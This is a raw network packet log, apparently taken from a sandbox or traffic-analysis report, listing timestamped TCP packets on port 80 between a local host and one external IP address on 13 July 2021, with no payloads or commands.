Jul 13, 2021 14:37:53.952033997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952049971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952076912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952088118 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.952116966 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.952155113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952202082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952218056 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952233076 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952240944 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.952248096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952269077 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.952274084 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952287912 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.952291012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952306032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952323914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952327967 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.952341080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952356100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952363968 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.952372074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952388048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952394009 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.952403069 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952419043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952434063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952442884 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.952452898 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952487946 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.952517986 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.952876091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952915907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952931881 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952948093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952963114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952977896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.952991962 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.952994108 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.953012943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.953023911 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.953030109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.953046083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.953049898 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.953063011 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.953078032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.953093052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.953104973 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.953108072 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.953123093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.953141928 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.953141928 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.953159094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.953166008 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.953174114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.953188896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.953196049 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.953205109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.953216076 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.953219891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.953257084 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.953768015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.953841925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.953886986 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.953901052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.953919888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.953955889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.953995943 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.954082966 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954099894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954122066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954140902 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954149961 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.954159021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954174042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954190016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954205990 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.954236031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954252005 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.954292059 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.954309940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954329967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954345942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954361916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954369068 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.954379082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954394102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954404116 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.954408884 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954425097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954431057 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.954478025 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.954484940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954500914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954550028 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.954552889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954570055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954585075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954600096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.954641104 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.954869032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955149889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955187082 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.955238104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955256939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955274105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955305099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955332994 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.955353975 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.955368996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955384970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955404043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955441952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955468893 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.955470085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955482006 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.955547094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955563068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955590010 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.955595970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955645084 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.955743074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955758095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955801010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955816984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955817938 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.955846071 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955862999 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955866098 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.955878973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.955935955 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.199239016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.199311018 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.659698963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.659770012 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.806665897 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.824979067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825012922 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825035095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825057983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825081110 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825108051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825124025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825145960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825181961 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.825192928 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825201988 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.825218916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825242043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825257063 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.825263977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825299978 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.825340986 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825364113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825390100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825403929 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.825413942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825465918 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.825480938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825504065 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825525999 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825551033 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.825551987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825577021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825620890 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.825666904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825692892 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825715065 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825719118 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.825763941 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825764894 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.825787067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825809002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825830936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.825846910 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.825876951 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.826127052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826152086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826174974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826198101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826220036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826226950 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.826246023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826262951 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.826270103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826284885 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.826293945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826317072 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826344013 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.826385975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826419115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826441050 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826467991 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.826508045 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.826508045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826533079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826555967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826576948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826601982 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.826612949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826636076 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.826780081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826805115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826831102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826832056 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.826854944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.826875925 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.827050924 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.827075005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.827096939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.827107906 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.827137947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.827138901 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.827162027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.827223063 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.827270985 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.827297926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.827338934 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.827482939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.827507019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.827528954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.827552080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.827562094 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.827574015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.827590942 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.827595949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.827640057 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.827714920 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.827739954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.827761889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.827785969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.827792883 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.827807903 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.827828884 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.827831984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.827857018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.827871084 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.827883005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.828098059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.828120947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.828145981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.828150988 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.828170061 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.828186989 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.828212023 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.828522921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.828547955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.828569889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.828592062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.828609943 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.828613997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.828638077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.828654051 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.828660011 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.828680038 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.828748941 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.828773022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.828789949 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.828794956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.828819036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.828840971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.828841925 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.828881979 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.828911066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.828934908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.828955889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.828972101 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.828978062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829010010 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.829078913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829103947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829125881 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829144955 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.829150915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829175949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829195976 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.829329967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829354048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829375982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829397917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829405069 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.829420090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829441071 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.829447031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829468966 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.829469919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829493046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829504967 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.829586029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829610109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829632044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829651117 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.829653978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829679966 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.829682112 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829718113 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.829838037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829862118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829884052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829901934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829920053 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.829926014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829941034 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.829951048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829973936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.829991102 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.829994917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830033064 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.830097914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830125093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830149889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830168962 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.830171108 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830204010 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.830280066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830307007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830329895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830353022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830406904 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.830432892 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.830533981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830555916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830578089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830599070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830612898 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.830625057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830645084 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.830648899 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830673933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830698013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830698967 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.830718994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830740929 CEST	49757	80	192.168.2.3	47.254.186.176
